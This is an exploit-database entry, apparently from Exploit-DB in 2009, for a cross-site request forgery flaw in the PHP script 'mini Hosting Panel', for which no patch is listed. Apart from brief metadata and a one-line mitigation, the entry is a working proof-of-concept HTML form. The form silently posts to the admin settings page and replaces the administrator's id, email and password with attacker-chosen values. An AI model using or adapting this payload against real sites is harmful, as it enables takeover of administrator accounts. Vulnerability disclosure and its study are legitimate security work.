mini Hosting Panel XSRF Change Admin Settings

vendor:

mini Hosting Panel

by:

Milos Zivanovic

3.3

CVSS

MEDIUM

XSRF Change Admin Settings

352

CWE

Product Name: mini Hosting Panel

Affected Version From: the only one there is

Affected Version To: the only one there is

Patch Exists: NO

Related CWE: N/A

CPE: 1193932045

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2009

mini Hosting Panel XSRF Change Admin Settings

mini Hosting Panel script suffers from XSRF vulnerability that enables us to change admins info such as id, password, email...

Mitigation:

Implementing a secure authentication mechanism and validating user input.

Source

Exploit-DB raw data:

[#-----------------------------------------------------------------------------------------------#]
[#] Title: mini Hosting Panel XSRF Change Admin Settings
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: mini Hosting Panel
[#] Version: the only one there is
[#] Platform: PHP
[#] Link: http://www.scriptsez.net/?action=details&cat=Miscellaneous&id=1193932045
[#] Price: 24 USD
[#] Vulnerability: XSRF Change Admin Settings
[#-----------------------------------------------------------------------------------------------#]

mini Hosting Panel script suffers from XSRF vulnerability that enables
us to change
admins info such as id, password, email...

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/hosting/admin_ac.php?action=cp" method="POST">
  <input type="hidden" name="nid" value="new_admin">
  <input type="hidden" name="email" value="my@mail.com">
  <input type="hidden" name="comp" value="Company">
  <input type="hidden" name="np" value="hacked">
  <input type="hidden" name="cnp" value="hacked">
  <input type="submit" name="submit" value=' Submit '>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF